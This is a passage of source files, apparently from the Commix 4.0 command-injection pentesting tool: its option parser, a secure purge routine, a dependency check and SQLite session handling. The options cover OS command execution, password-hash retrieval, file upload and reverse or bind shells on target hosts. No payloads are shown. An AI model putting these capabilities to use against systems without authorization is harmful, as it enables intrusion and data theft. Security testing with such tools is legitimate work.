settings.print_data_to_stdout(settings.print_info_msg(info_msg))
"""
Log all HTTP traffic into a textual file.
"""
def log_traffic(header):
output_file = open(menu.options.traffic_file, "a")
output_file.write(header)
output_file.close()
"""
Print logs notification.
"""
def print_logs_notification(filename, url):
if os.path.exists(settings.CLI_HISTORY):
checks.save_cmd_history()
if settings.SHOW_LOGS_MSG == True and not menu.options.no_logging:
if not settings.LOAD_SESSION:
logs_notification(filename)
if url:
session_handler.clear(url)
# eof commix-4.0/src/utils/menu.py 0000775 0000000 0000000 00000070653 14731205621 0016135 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import os
import sys
from src.utils import settings
from optparse import OptionGroup
from optparse import OptionParser
from optparse import SUPPRESS_HELP as SUPPRESS
from src.thirdparty.six.moves import input as _input
from src.thirdparty.colorama import Fore, Back, Style, init
# Use Colorama to make Termcolor work on Windows too :)
if settings.IS_WINDOWS:
init()
"""
The commix's banner.
"""
def banner():
settings.print_data_to_stdout(r""" __
___ ___ ___ ___ ___ ___ /\_\ __ _
/`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ """ + settings.COLOR_VERSION + r"""
/\ \__//\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\/> </
\ \____\ \____/\ \_\ \_\ \_\ \_\ \_\ \_\ \_\/\_/\_\ """ + Fore.GREY + Style.UNDERLINE + settings.APPLICATION_URL + Style.RESET_ALL + r"""
\/____/\/___/ \/_/\/_/\/_/\/_/\/_/\/_/\/_/\//\/_/ (""" + Fore.LIGHTRED_EX + settings.APPLICATION_X_ACCOUNT + Style.RESET_ALL + """)
+--
""" + Style.BRIGHT + settings.DESCRIPTION_FULL + Style.RESET_ALL + """
Copyright © """ + settings.YEAR + """ """ + settings.AUTHOR + Style.RESET_ALL + """ (""" + Fore.LIGHTRED_EX + settings.AUTHOR_X_ACCOUNT + Style.RESET_ALL + """)
+--
""")
_ = os.path.normpath(sys.argv[0])
usage = "python %prog [option(s)]"
parser = OptionParser(usage=usage)
# General options
general = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "General" + Style.RESET_ALL,
"These options relate to general matters. ")
general.add_option("-v",
default=0,
action="store",
type="int",
dest="verbose",
help="Verbosity level (0-4, Default: 0).")
general.add_option("--install",
action="store_true",
dest="install",
default=False,
help="Install " + settings.APPLICATION + " to your system.")
general.add_option("--version",
action="store_true",
dest="version",
help="Show version number and exit.")
general.add_option("--update",
action="store_true",
dest="update",
help="Check for updates (apply if any) and exit.")
general.add_option("--output-dir",
action="store",
dest="output_dir",
help="Set custom output directory path.")
general.add_option("-s",
action="store",
dest="session_file",
default=None,
help="Load session from a stored (.sqlite) file.")
general.add_option("--flush-session",
action="store_true",
dest="flush_session",
help="Flush session files for current target.")
general.add_option("--ignore-session",
action="store_true",
dest="ignore_session",
help="Ignore results stored in session file.")
general.add_option("-t",
action="store",
dest="traffic_file",
default=None,
help="Log all HTTP traffic into a textual file.")
general.add_option("--time-limit",
dest="time_limit",
type=float,
help="Run with a time limit in seconds (e.g. 3600).")
general.add_option("--batch",
action="store_true",
dest="batch",
default=False,
help="Never ask for user input, use the default behaviour.")
general.add_option("--skip-heuristics",
action="store_true",
dest="skip_heuristics",
default=False,
help="Skip heuristic detection for code injection.")
general.add_option("--codec",
action="store",
dest="codec",
default=None,
help="Force codec for character encoding (e.g. 'ascii').")
general.add_option("--charset",
action="store",
dest="charset",
default=None,
help="Time-related injection charset (e.g. '0123456789abcdef').")
general.add_option("--check-internet",
action="store_true",
dest="check_internet",
help="Check internet connection before assessing the target.")
general.add_option("--answers",
dest="answers",
help="Set predefined answers (e.g. 'quit=N,follow=N').")
# Target options
target = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Target" + Style.RESET_ALL,
"This options has to be provided, to define the target URL. ")
target.add_option("-u","--url",
action="store",
dest="url",
help="Target URL.")
target.add_option("--url-reload",
action="store_true",
dest="url_reload",
default=False,
help="Reload target URL after command execution.")
target.add_option("-l",
dest="logfile",
help="Parse target from HTTP proxy log file.")
target.add_option("-m",
dest="bulkfile",
help="Scan multiple targets given in a textual file.")
target.add_option("-r",
dest="requestfile",
help="Load HTTP request from a file.")
target.add_option("--crawl",
default=0,
dest="crawldepth",
type="int",
help="Crawl the website starting from the target URL (Default: 1).")
target.add_option("--crawl-exclude",
dest="crawl_exclude",
default=None,
help="Regexp to exclude pages from crawling (e.g. 'logout').")
target.add_option("-x",
dest="sitemap_url",
help="Parse target(s) from remote sitemap(.xml) file.")
target.add_option("--method",
dest="method",
help="Force usage of given HTTP method (e.g. 'PUT').")
# Request options
request = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Request" + Style.RESET_ALL,
"These options can be used to specify how to connect to the target URL.")
request.add_option("-d", "--data",
action="store",
dest="data",
default=False,
help="Data string to be sent through POST.")
request.add_option("--host",
action="store",
dest="host",
help="HTTP Host header.")
request.add_option("--referer",
action="store",
dest="referer",
help="HTTP Referer header.")
request.add_option("--user-agent",
action="store",
dest="agent",
default = settings.DEFAULT_USER_AGENT,
help="HTTP User-Agent header.")
request.add_option("--random-agent",
action="store_true",
dest="random_agent",
default=False,
help="Use a randomly selected HTTP User-Agent header.")
request.add_option("--param-del",
action="store",
dest="pdel",
help="Set character for splitting parameter values.")
request.add_option("--cookie",
action="store",
dest="cookie",
help="HTTP Cookie header.")
request.add_option("--cookie-del",
action="store",
dest="cdel",
help="Set character for splitting cookie values.")
request.add_option("-H","--header",
action="store",
dest="header",
help="Extra header (e.g. 'X-Forwarded-For: 127.0.0.1').")
request.add_option("--headers",
action="store",
dest="headers",
help="Extra headers (e.g. 'Accept-Language: fr\\nETag: 123').")
request.add_option("--proxy",
action="store",
dest="proxy",
default=False,
help="Use a proxy to connect to the target URL.")
request.add_option("--tor",
action="store_true",
dest="tor",
default=False,
help="Use the Tor network.")
request.add_option("--tor-port",
action="store",
dest="tor_port",
default=False,
help="Set Tor proxy port (Default: 8118).")
request.add_option("--tor-check",
action="store_true",
dest="tor_check",
default=False,
help="Check to see if Tor is used properly.")
request.add_option("--auth-url",
action="store",
dest="auth_url",
help="Login panel URL.")
request.add_option("--auth-data",
action="store",
dest="auth_data",
help="Login parameters and data.")
request.add_option("--auth-type",
action="store",
dest="auth_type",
help="HTTP authentication type (Basic, Digest, Bearer).")
request.add_option("--auth-cred",
action="store",
dest="auth_cred",
help="HTTP authentication credentials (e.g. 'admin:admin').")
request.add_option("--abort-code",
action="store",
dest="abort_code",
default=False,
help="Abort on (problematic) HTTP error code(s) (e.g. 401).")
request.add_option("--ignore-code",
action="store",
dest="ignore_code",
default=False,
help="Ignore (problematic) HTTP error code(s) (e.g. 401).")
request.add_option("--force-ssl",
action="store_true",
dest="force_ssl",
default=False,
help="Force usage of SSL/HTTPS.")
request.add_option("--ignore-proxy",
action="store_true",
dest="ignore_proxy",
default=False,
help="Ignore system default proxy settings.")
request.add_option("--ignore-redirects",
action="store_true",
dest="ignore_redirects",
default=False,
help="Ignore redirection attempts.")
request.add_option("--timeout",
action="store",
dest="timeout",
default=settings.TIMEOUT,
type="int",
help="Seconds to wait before timeout connection (Default: " + str(settings.TIMEOUT) + ").")
request.add_option("--retries",
action="store",
dest="retries",
default=settings.MAX_RETRIES,
type="int",
help="Retries when the connection timeouts (Default: " + str(settings.MAX_RETRIES) + ").")
request.add_option("--drop-set-cookie",
action="store_true",
dest="drop_set_cookie",
default=False,
help="Ignore Set-Cookie header from response.")
# Enumeration options
enumeration = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Enumeration" + Style.RESET_ALL,
"These options can be used to enumerate the target host.")
enumeration.add_option("--all",
action="store_true",
dest="enum_all",
default=False,
help="Retrieve everything.")
enumeration.add_option("--current-user",
action="store_true",
dest="current_user",
default=False,
help="Retrieve current user name.")
enumeration.add_option("--hostname",
action="store_true",
dest="hostname",
default=False,
help="Retrieve current hostname.")
enumeration.add_option("--is-root",
action="store_true",
dest="is_root",
default=False,
help="Check if the current user have root privileges.")
enumeration.add_option("--is-admin",
action="store_true",
dest="is_admin",
default=False,
help="Check if the current user have admin privileges.")
enumeration.add_option("--sys-info",
action="store_true",
dest="sys_info",
default=False,
help="Retrieve system information.")
enumeration.add_option("--users",
action="store_true",
dest="users",
default=False,
help="Retrieve system users.")
enumeration.add_option("--passwords",
action="store_true",
dest="passwords",
default=False,
help="Retrieve system users password hashes.")
enumeration.add_option("--privileges",
action="store_true",
dest="privileges",
default=False,
help="Retrieve system users privileges.")
enumeration.add_option("--ps-version",
action="store_true",
dest="ps_version",
default=False,
help="Retrieve PowerShell's version number.")
# File access options
file_access = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "File access" + Style.RESET_ALL,
"These options can be used to access files on the target host.")
file_access.add_option("--file-read",
action="store",
dest="file_read",
help="Read a file from the target host.")
file_access.add_option("--file-write",
action="store",
dest="file_write",
help="Write to a file on the target host.")
file_access.add_option("--file-upload",
action="store",
dest="file_upload",
help="Upload a file on the target host.")
file_access.add_option("--file-dest",
action="store",
dest="file_dest",
help="Host's absolute filepath to write and/or upload to.")
# Modules options
modules = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Modules" + Style.RESET_ALL,
"These options can be used increase the detection and/or injection capabilities.")
modules.add_option("--shellshock",
action="store_true",
dest="shellshock",
default=False,
help="The 'shellshock' injection module.")
# Injection options
injection = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Injection" + Style.RESET_ALL,
"These options can be used to specify which parameters to inject and to provide custom injection payloads.")
injection.add_option("-p",
action="store",
dest="test_parameter",
help="Testable parameter(s).")
injection.add_option("--skip",
action="store",
dest="skip_parameter",
help="Skip testing for given parameter(s).")
injection.add_option("--suffix",
action="store",
dest="suffix",
help="Injection payload suffix string.")
injection.add_option("--prefix",
action="store",
dest="prefix",
help="Injection payload prefix string.")
injection.add_option("--technique",
action="store",
default="",
dest="tech",
help="Specify injection technique(s) to use.")
injection.add_option("--skip-technique",
action="store",
dest="skip_tech",
help="Specify injection technique(s) to skip.")
injection.add_option("--maxlen",
action="store",
dest="maxlen",
default=settings.MAXLEN,
help="Set the max length of output for time-related injection techniques (Default: " + str(settings.MAXLEN) + " chars).")
injection.add_option("--delay",
default=0,
action="store",
type="int",
dest="delay",
help="Seconds to delay between each HTTP request.")
injection.add_option("--time-sec",
default=0,
action="store",
type="int",
dest="timesec",
help="Seconds to delay the OS response.")
injection.add_option("--tmp-path",
action="store",
dest="tmp_path",
default=False,
help="Set the absolute path of web server's temp directory.")
injection.add_option("--web-root",
action="store",
dest="web_root",
default=False,
help="Set the web server document root directory (e.g. '/var/www').")
injection.add_option("--alter-shell",
action="store",
dest="alter_shell",
default = "",
help="Use an alternative os-shell (e.g. 'Python').")
injection.add_option("--os-cmd",
action="store",
dest="os_cmd",
default=False,
help="Execute a single operating system command.")
injection.add_option("--os",
action="store",
dest="os",
default=False,
help="Force back-end operating system (e.g. 'Windows' or 'Unix').")
injection.add_option("--tamper",
action="store",
dest="tamper",
default=False,
help="Use given script(s) for tampering injection data.")
injection.add_option("--msf-path",
action="store",
dest="msf_path",
default=False,
help="Set a local path where metasploit is installed.")
# Detection options
detection = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Detection" + Style.RESET_ALL, "These options can be "
"used to customize the detection phase.")
detection.add_option("--level",
type="int",
dest="level",
default=False,
help="Level of tests to perform (1-3, Default: " + str(settings.DEFAULT_INJECTION_LEVEL) + ").")
detection.add_option("--skip-calc",
action="store_true",
dest="skip_calc",
default=False,
help="Skip the mathematic calculation during the detection phase.")
detection.add_option("--skip-empty",
action="store_true",
dest="skip_empty",
default=False,
help="Skip testing the parameter(s) with empty value(s).")
detection.add_option("--failed-tries",
action="store",
type="int",
dest="failed_tries",
default=len(settings.SEPARATORS_LVL1) - 1,
help="Set a number of failed injection tries, in file-based technique.")
detection.add_option("--smart",
action="store_true",
dest="smart",
default=False,
help="Perform thorough tests only if positive heuristic(s).")
# Miscellaneous options
misc = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Miscellaneous" + Style.RESET_ALL)
misc.add_option("--ignore-dependencies",
action="store_true",
dest="ignore_dependencies",
default=False,
help="Ignore all required third-party library dependencies.")
misc.add_option("--list-tampers",
action="store_true",
dest="list_tampers",
default=False,
help="Display list of available tamper scripts.")
misc.add_option("--alert",
action="store",
dest="alert",
default=False,
help="Run host OS command(s) when injection point is found.")
misc.add_option("--no-logging",
action="store_true",
dest="no_logging",
default=False,
help="Disable logging to a file.")
misc.add_option("--purge",
action="store_true",
dest="purge",
default=False,
help="Safely remove all content from commix data directory.")
misc.add_option("--skip-waf",
action="store_true",
dest="skip_waf",
default=False,
help="Skip heuristic detection of WAF/IPS protection.")
misc.add_option("--mobile",
action="store_true",
dest="mobile",
default=False,
help="Imitate smartphone through HTTP User-Agent header.")
misc.add_option("--offline",
action="store_true",
dest="offline",
default=False,
help="Work in offline mode.")
misc.add_option("--wizard",
action="store_true",
dest="wizard",
default=False,
help="Simple wizard interface for beginner users.")
misc.add_option("--disable-coloring",
action="store_true",
dest="disable_coloring",
default=False,
help="Disable console output coloring.")
# Hidden options
parser.add_option("--smoke-test",
action="store_true",
dest="smoke_test",
help=SUPPRESS)
parser.add_option("--ignore-stdin",
action="store_true",
dest="ignore_stdin",
default=False,
help=SUPPRESS)
parser.add_option_group(general)
parser.add_option_group(target)
parser.add_option_group(request)
parser.add_option_group(enumeration)
parser.add_option_group(file_access)
parser.add_option_group(modules)
parser.add_option_group(injection)
parser.add_option_group(detection)
parser.add_option_group(misc)
"""
Dirty hack from sqlmap [1], to display longer options without breaking into two lines.
[1] https://github.com/sqlmapproject/sqlmap/blob/fdc8e664dff305aca19acf143c7767b9a7626881/lib/parse/cmdline.py
"""
def _(self, *args):
_ = parser.formatter._format_option_strings(*args)
if len(_) > settings.MAX_OPTION_LENGTH:
_ = ("%%.%ds.." % (settings.MAX_OPTION_LENGTH - parser.formatter.indent_increment)) % _
return _
parser.formatter._format_option_strings = parser.formatter.format_option_strings
parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser)
option = parser.get_option("-h")
option.help = option.help.capitalize().replace("Show this help message and exit", "Show help and exit.")
(options, args) = parser.parse_args()
# Checkall the banner
if not options.version:
banner()
# argv input errors
settings.sys_argv_errors()
"""
The "os_shell" available options.
"""
def os_shell_options():
settings.print_data_to_stdout("""""" + Style.BRIGHT + """Available 'os_shell' options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' / '""" + Style.BRIGHT + """exit""" + Style.RESET_ALL + """' (or use <Ctrl-C>) to quit commix.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection.""")
"""
The "reverse_tcp" available options.
"""
def reverse_tcp_options():
settings.print_data_to_stdout("""""" + Style.BRIGHT + """Available 'reverse_tcp' options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' / '""" + Style.BRIGHT + """exit""" + Style.RESET_ALL + """' (or use <Ctrl-C>) to quit commix.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection.""")
"""
The "bind_tcp" available options.
"""
def bind_tcp_options():
settings.print_data_to_stdout("""""" + Style.BRIGHT + """Available 'bind_tcp' options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' / '""" + Style.BRIGHT + """exit""" + Style.RESET_ALL + """' (or use <Ctrl-C>) to quit commix.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection.""")
"""
The available mobile user agents.
"""
def mobile_user_agents():
settings.print_data_to_stdout("""""" + Style.BRIGHT + """Available smartphones HTTP User-Agent headers:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for BlackBerry Z10.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for Samsung Galaxy S7.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' for HP iPAQ 6365.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' for HTC 10.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' for Huawei P8.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' for Apple iPhone 8.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' for Microsoft Lumia 950.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' for Google Nexus 7.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' for Nokia N97.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' for Google Pixel".
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' for Xiaomi Mi 3.""")
"""
The tab compliter (shell options).
"""
def tab_completer(text, state):
set_options = [option.upper() for option in settings.SET_OPTIONS if option.startswith(text.upper())]
shell_options = [option for option in settings.SHELL_OPTIONS if option.startswith(text.lower())]
available_options = shell_options + set_options
try:
return available_options[state]
except IndexError:
return None
"""
Check if enumeration options are enabled.
"""
def enumeration_options():
if any((options.hostname, options.current_user, options.is_root, options.is_admin, options.sys_info, options.users, options.privileges, options.passwords, options.ps_version)):
return True
"""
Check if file access options are enabled.
"""
def file_access_options():
if any((options.file_write, options.file_upload, options.file_read)):
return True
# eof
commix-4.0/src/utils/purge.py 0000664 0000000 0000000 00000010223 14731205621 0016273 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
"""
Based on "purge.py" script from sqlmap [1].
[1] https://github.com/sqlmapproject/sqlmap/blob/master/lib/utils/purge.py
"""
import os
import sys
import stat
import random
import shutil
import string
import functools
from src.utils import menu
from src.utils import settings
from src.core.compat import xrange
from src.thirdparty.colorama import Fore, Back, Style, init
"""
Safely removes (purges) output directory.
"""
def purge():
directory = settings.OUTPUT_DIR
if not os.path.isdir(directory):
warn_msg = "Skipping purging of directory '" + directory + "', as it does not exist."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
return
info_msg = "Purging content of directory '" + directory + "'."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
# Purging content of target directory.
dir_paths = []
file_paths = []
for rootpath, directories, filenames in os.walk(directory):
dir_paths.extend([os.path.abspath(os.path.join(rootpath, i)) for i in directories])
file_paths.extend([os.path.abspath(os.path.join(rootpath, i)) for i in filenames])
# Changing file attributes.
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Changing file attributes."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
failed = False
for file_path in file_paths:
try:
os.chmod(file_path, stat.S_IREAD | stat.S_IWRITE)
except:
failed = True
pass
# Writing random data to files.
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Writing random data to files. "
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
failed = False
for file_path in file_paths:
try:
filesize = os.path.getsize(file_path)
with open(file_path, "w+b") as f:
f.write("".join(chr(random.randint(0, 255)) for _ in xrange(filesize)))
except:
failed = True
pass
# Truncating files.
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Truncating files."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
failed = False
for file_path in file_paths:
try:
with open(file_path, 'w') as f:
pass
except:
failed = True
pass
# Renaming filenames to random values.
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Renaming filenames to random values."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
failed = False
for file_path in file_paths:
try:
os.rename(file_path, os.path.join(os.path.dirname(file_path), "".join(random.sample(string.ascii_letters, random.randint(4, 8)))))
except:
failed = True
pass
# Renaming directory names to random values.
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Renaming directory names to random values."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
failed = False
dir_paths.sort(key=functools.cmp_to_key(lambda x, y: y.count(os.path.sep) - x.count(os.path.sep)))
for dir_path in dir_paths:
try:
os.rename(dir_path, os.path.join(os.path.dirname(dir_path), "".join(random.sample(string.ascii_letters, random.randint(4, 8)))))
except:
failed = True
pass
# Deleting the whole directory tree.
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Deleting the whole directory tree."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
try:
failed = False
os.chdir(os.path.join(directory, ".."))
shutil.rmtree(directory)
except OSError as e:
failed = True
if failed:
err_msg = "Problem occurred while removing directory '" + directory + "'."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
# eof commix-4.0/src/utils/requirments.py 0000664 0000000 0000000 00000001530 14731205621 0017530 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import os
import subprocess
"""
Check for requirments.
"""
def do_check(requirment):
try:
# Pipe output to the file path of the null device, for silence.
# i.e '/dev/null' for POSIX, 'nul' for Windows
null = open(os.devnull,"w")
subprocess.Popen(requirment, stdout=null, stderr=null)
null.close()
return True
except OSError:
return False
# eof commix-4.0/src/utils/session_handler.py 0000775 0000000 0000000 00000035014 14731205621 0020341 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import os
import sys
import time
import base64
import sqlite3
from src.utils import menu
from src.utils import settings
from src.utils import common
from src.core.injections.controller import checks
from src.thirdparty.six.moves import input as _input
from src.thirdparty.colorama import Fore, Back, Style, init
"""
Session handler via SQLite3 db.
"""
no_such_table = False
"""
"""
def split_url(url):
return url.split("?")[0]
"""
Generate table name for SQLite3 db.
"""
def table_name(url):
host = url.split('//', 1)[1].split('/', 1)[0]
table_name = "session_" + host.replace(".","_").replace(":","_").replace("-","_").replace("[","_").replace("]","_")
return table_name
"""
Ignore session.
"""
def ignore(url):
if os.path.isfile(settings.SESSION_FILE):
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Ignoring the stored session from the session file due to '--ignore-session' switch."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
else:
if settings.VERBOSITY_LEVEL != 0:
warn_msg = "Skipping ignoring the stored session, as the session file not exist."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
"""
Flush session.
"""
def flush(url):
if os.path.isfile(settings.SESSION_FILE):
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Flushing the stored session from the session file."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
try:
conn = sqlite3.connect(settings.SESSION_FILE)
tables = list(conn.execute("SELECT name FROM sqlite_master WHERE type is 'table'"))
conn.executescript(';'.join(["DROP TABLE IF EXISTS %s" %i for i in tables]))
conn.commit()
conn.close()
except sqlite3.OperationalError as err_msg:
err_msg = "Unable to flush the session file. " + str(err_msg)
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
else:
if settings.VERBOSITY_LEVEL != 0:
warn_msg = "Skipping flushing the stored session, as the session file not exist."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
"""
Clear injection point records
except latest for every technique.
"""
def clear(url):
try:
if no_such_table:
conn = sqlite3.connect(settings.SESSION_FILE)
query = "DELETE FROM " + table_name(url) + "_ip WHERE " + \
"id NOT IN (SELECT MAX(id) FROM " + \
table_name(url) + "_ip GROUP BY technique);"
conn.execute(query)
conn.commit()
conn.close()
except sqlite3.OperationalError as err_msg:
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
except:
settings.LOAD_SESSION = None
return False
"""
Import successful injection points to session file.
"""
def import_injection_points(url, technique, injection_type, filename, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable):
try:
conn = sqlite3.connect(settings.SESSION_FILE)
conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ip" + \
"(id INTEGER PRIMARY KEY, url VARCHAR, technique VARCHAR, injection_type VARCHAR, separator VARCHAR," \
"shell VARCHAR, vuln_parameter VARCHAR, prefix VARCHAR, suffix VARCHAR, "\
"TAG VARCHAR, alter_shell VARCHAR, payload VARCHAR, http_header VARCHAR, http_request_method VARCHAR, url_time_response INTEGER, "\
"timesec INTEGER, exec_time INTEGER, output_length INTEGER, is_vulnerable VARCHAR, data VARCHAR, cookie VARCHAR);")
conn.execute("INSERT INTO " + table_name(url) + "_ip(url, technique, injection_type, separator, "\
"shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_header, http_request_method, "\
"url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie) "\
"VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", \
(str(url), str(technique), str(injection_type), \
str(separator), str(shell), str(vuln_parameter), str(prefix), str(suffix), \
str(TAG), str(alter_shell), str(payload), str(settings.HTTP_HEADER), str(http_request_method), \
int(url_time_response), int(timesec), int(exec_time), \
int(output_length), str(is_vulnerable), str(menu.options.data), str(menu.options.cookie)))
conn.commit()
conn.close()
if settings.INJECTION_CHECKER == False:
settings.INJECTION_CHECKER = True
except sqlite3.OperationalError as err_msg:
err_msg = str(err_msg)[:1].upper() + str(err_msg)[1:] + "."
err_msg += " You are advised to rerun with switch '--flush-session'."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
checks.quit(filename, url, _ = False)
except sqlite3.DatabaseError as err_msg:
checks.error_loading_session_file()
"""
Export successful applied techniques from session file.
"""
def applied_techniques(url, http_request_method):
try:
techniques = []
conn = sqlite3.connect(settings.SESSION_FILE)
query = "SELECT * FROM sqlite_master WHERE name = '" + table_name(url) + "_ip' AND type = 'table';"
result = conn.execute(query)
if result:
query = "SELECT * FROM " + table_name(url) + "_ip WHERE url like '%" + split_url(url) + "%';"
cursor = conn.execute(query).fetchall()
if cursor:
for session in cursor:
if session[2] == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
technique = session[2].split()[2][0]
else:
technique = session[2][0]
techniques.append(technique)
techniques = list(set(techniques))
techniques = "".join(str(x) for x in techniques)
return techniques
except sqlite3.OperationalError as err_msg:
settings.LOAD_SESSION = None
return techniques
except:
